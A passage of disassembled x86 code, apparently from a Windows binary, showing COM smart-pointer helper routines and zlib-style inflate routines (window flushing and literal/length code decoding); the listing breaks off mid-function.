; Attributes: bp-based frame


sub_429DA0	proc near		; CODE XREF: sub_42852F+856p

var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_429DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_4299A0
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_1C]
		push	eax
		call	dword ptr [edx+104h]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jge	short loc_429DFC
		push	offset dword_4375F0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_431AC0


loc_429DFC:				; CODE XREF: sub_429DA0+48j
		mov	ax, [ebp+var_14]
		mov	[ebp+var_18], ax
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_4241A6
		mov	ax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E30	proc near		; CODE XREF: sub_42852F+776p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_429E50
		push	80004003h
		call	sub_431AB2


loc_429E50:				; CODE XREF: sub_429E30+14j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E60	proc near		; CODE XREF: sub_42852F+7CEp
					; sub_42852F+A4Fp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_429FF0
		mov	esp, ebp
		pop	ebp
		retn
sub_429E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E80	proc near		; CODE XREF: sub_42852F+84Bp
					; sub_42852F+8B4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_429E99
		push	80004003h
		call	sub_431AB2


loc_429E99:				; CODE XREF: sub_429E80+Dj
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]
		mov	esp, ebp
		pop	ebp
		retn
sub_429E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EB0	proc near		; CODE XREF: sub_42852F+78Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		call	sub_429FF0
		mov	eax, [ebp+arg_8]
		and	eax, 14h
		test	eax, eax
		jz	short loc_429F2D
		lea	ecx, [ebp+var_8]
		push	ecx
		push	offset dword_437600
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4332AC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jge	short loc_429EF4
		mov	eax, [ebp+var_4]
		jmp	short loc_429F4F
; ---------------------------------------------------------------------------


loc_429EF4:				; CODE XREF: sub_429EB0+3Dj
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4332A8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jl	short loc_429F1F
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_429FE0
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_8]
		push	eax
		call	dword ptr [edx]
		mov	[ebp+var_4], eax


loc_429F1F:				; CODE XREF: sub_429EB0+55j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_8]
		push	eax
		call	dword ptr [edx+8]
		jmp	short loc_429F4C
; ---------------------------------------------------------------------------


loc_429F2D:				; CODE XREF: sub_429EB0+19j
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_429FE0
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4332AC
		mov	[ebp+var_4], eax


loc_429F4C:				; CODE XREF: sub_429EB0+7Bj
		mov	eax, [ebp+var_4]


loc_429F4F:				; CODE XREF: sub_429EB0+42j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_429EB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F60	proc near		; CODE XREF: sub_42852F+8F3p
					; sub_42852F+9C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		call	sub_42A070
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F90	proc near		; CODE XREF: sub_429D40+47p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_429FB4
		mov	ecx, [ebp+var_4]
		call	sub_42A070


loc_429FB4:				; CODE XREF: sub_429F90+1Aj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_429F90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429FC0	proc near		; CODE XREF: sub_42852F+8D3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, [ebp+var_4]
		call	sub_42A020
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429FE0	proc near		; CODE XREF: sub_429EB0+5Bp
					; sub_429EB0+81p
		push	ebp
		mov	ebp, esp
		call	sub_42A0A0
		pop	ebp
		retn
sub_429FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429FF0	proc near		; CODE XREF: sub_429E60+Ap
					; sub_429EB0+Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_42A00F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+8]


loc_42A00F:				; CODE XREF: sub_429FF0+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_429FF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A020	proc near		; CODE XREF: sub_429FC0+10p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_42A05D
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	ecx, [ebp+var_8]
		call	sub_42A070
		cmp	[ebp+var_4], 0
		jz	short loc_42A05D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		push	edx
		call	dword ptr [ecx+8]


loc_42A05D:				; CODE XREF: sub_42A020+11j
					; sub_42A020+2Fj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_42A020	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A070	proc near		; CODE XREF: sub_429F60+14p
					; sub_429F90+1Fp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short loc_42A08F
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	eax, [ecx]
		push	edx
		call	dword ptr [eax+4]


loc_42A08F:				; CODE XREF: sub_42A070+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_42A070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A0A0	proc near		; CODE XREF: sub_429FE0+3p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_4375F0
		pop	ebp
		retn
sub_42A0A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A0B0	proc near		; CODE XREF: sub_42A2DE+220p
					; sub_42A2DE+39Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+34h]
		ja	short loc_42A0DE
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+34h]
		mov	[ebp+var_10], ecx
		jmp	short loc_42A0E7
; ---------------------------------------------------------------------------


loc_42A0DE:				; CODE XREF: sub_42A0B0+21j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		mov	[ebp+var_10], eax


loc_42A0E7:				; CODE XREF: sub_42A0B0+2Cj
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		cmp	eax, [edx+10h]
		jbe	short loc_42A104
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		mov	[ebp+var_C], edx


loc_42A104:				; CODE XREF: sub_42A0B0+49j
		cmp	[ebp+var_C], 0
		jz	short loc_42A117
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_42A117
		mov	[ebp+arg_8], 0


loc_42A117:				; CODE XREF: sub_42A0B0+58j
					; sub_42A0B0+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		sub	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[edx+10h], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		add	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+38h], 0
		jz	short loc_42A168
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		call	dword ptr [edx+38h]
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	[ecx+3Ch], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+3Ch]
		mov	[edx+30h], ecx


loc_42A168:				; CODE XREF: sub_42A0B0+8Cj
		cmp	[ebp+var_C], 0
		jz	short loc_42A194
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		add	edx, [ebp+var_C]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax


loc_42A194:				; CODE XREF: sub_42A0B0+BCj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	loc_42A270
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx+34h]
		cmp	ecx, [eax+2Ch]
		jnz	short loc_42A1C6
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[edx+34h], ecx


loc_42A1C6:				; CODE XREF: sub_42A0B0+108j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+10h]
		jbe	short loc_42A1E6
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	[ebp+var_C], ecx


loc_42A1E6:				; CODE XREF: sub_42A0B0+12Bj
		cmp	[ebp+var_C], 0
		jz	short loc_42A1F9
		cmp	[ebp+arg_8], 0FFFFFFFBh
		jnz	short loc_42A1F9
		mov	[ebp+arg_8], 0


loc_42A1F9:				; CODE XREF: sub_42A0B0+13Aj
					; sub_42A0B0+140j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		sub	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[ecx+14h], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+38h], 0
		jz	short loc_42A24A
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+3Ch]
		push	eax
		mov	ecx, [ebp+arg_0]
		call	dword ptr [ecx+38h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+3Ch], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+3Ch]
		mov	[eax+30h], edx


loc_42A24A:				; CODE XREF: sub_42A0B0+16Ej
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4318C4	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx


loc_42A270:				; CODE XREF: sub_42A0B0+EDj
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+30h], edx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A0B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A289	proc near		; CODE XREF: sub_42B1FD+1C4p
					; sub_42B1FD+FADp

var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Ch
		push	1
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+28h]
		push	ecx
		mov	edx, [ebp+arg_10]
		call	dword ptr [edx+20h]
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42A2D7
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dl, [ebp+arg_0]
		mov	[ecx+10h], dl
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_8]
		mov	[edx+14h], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_C]
		mov	[ecx+18h], edx


loc_42A2D7:				; CODE XREF: sub_42A289+1Fj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A2DE	proc near		; CODE XREF: sub_42B1FD+1080p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42A335
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_30], eax
		jmp	short loc_42A341
; ---------------------------------------------------------------------------


loc_42A335:				; CODE XREF: sub_42A2DE+44j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_30], edx


loc_42A341:				; CODE XREF: sub_42A2DE+55j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_28], eax


loc_42A347:				; CODE XREF: sub_42A2DE:loc_42B004j
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx]
		mov	[ebp+var_34], edx
		cmp	[ebp+var_34], 9
		ja	loc_42AFA5
		mov	eax, [ebp+var_34]
		jmp	off_42B00D[eax*4]


loc_42A363:				; DATA XREF: TEUm:off_42B00Do
		cmp	[ebp+var_28], 102h
		jb	loc_42A469
		cmp	[ebp+var_2C], 0Ah
		jb	loc_42A469
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+11h]
		push	edx
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+10h]
		push	ecx
		call	sub_42D0E6
		add	esp, 18h
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		mov	[ebp+var_2C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+34h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42A437
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_38], eax
		jmp	short loc_42A443
; ---------------------------------------------------------------------------


loc_42A437:				; CODE XREF: sub_42A2DE+146j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_38], edx


loc_42A443:				; CODE XREF: sub_42A2DE+157j
		mov	eax, [ebp+var_38]
		mov	[ebp+var_28], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_42A469
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 7
		mov	edx, [ebp+var_10]
		mov	[edx], ecx
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A469:				; CODE XREF: sub_42A2DE+8Cj
					; sub_42A2DE+96j ...
		mov	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+10h]
		mov	edx, [ebp+var_10]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+14h]
		mov	[eax+8], edx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 1


loc_42A48C:				; CODE XREF: sub_42A2DE+7Ej
					; DATA XREF: TEUm:0042B011o
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_20], edx


loc_42A495:				; CODE XREF: sub_42A2DE+25Cj
		mov	eax, [ebp+var_24]
		cmp	eax, [ebp+var_20]
		jnb	loc_42A53F
		cmp	[ebp+var_2C], 0
		jz	short loc_42A4B0
		mov	[ebp+arg_8], 0
		jmp	short loc_42A50B
; ---------------------------------------------------------------------------


loc_42A4B0:				; CODE XREF: sub_42A2DE+1C7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A0B0
		add	esp, 0Ch
		jmp	loc_42B009
; ---------------------------------------------------------------------------


loc_42A50B:				; CODE XREF: sub_42A2DE+1D0j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_24]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		jmp	loc_42A495
; ---------------------------------------------------------------------------


loc_42A53F:				; CODE XREF: sub_42A2DE+1BDj
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		and	edx, dword_4332F8[ecx*4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		lea	edx, [ecx+edx*8]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_C]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax+1]
		mov	edx, [ebp+var_24]
		sub	edx, ecx
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_14]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_18], ecx
		cmp	[ebp+var_18], 0
		jnz	short loc_42A5A2
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 6
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A5A2:				; CODE XREF: sub_42A2DE+2A8j
		mov	eax, [ebp+var_18]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42A5D2
		mov	ecx, [ebp+var_18]
		and	ecx, 0Fh
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 2
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A5D2:				; CODE XREF: sub_42A2DE+2CCj
		mov	ecx, [ebp+var_18]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_42A5FC
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_18]
		mov	[edx+0Ch], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8]
		mov	edx, [ebp+var_10]
		mov	[edx+8], ecx
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A5FC:				; CODE XREF: sub_42A2DE+2FCj
		mov	eax, [ebp+var_18]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42A614
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx], 7
		jmp	loc_42B004
; ---------------------------------------------------------------------------


loc_42A614:				; CODE XREF: sub_42A2DE+326j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_24]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
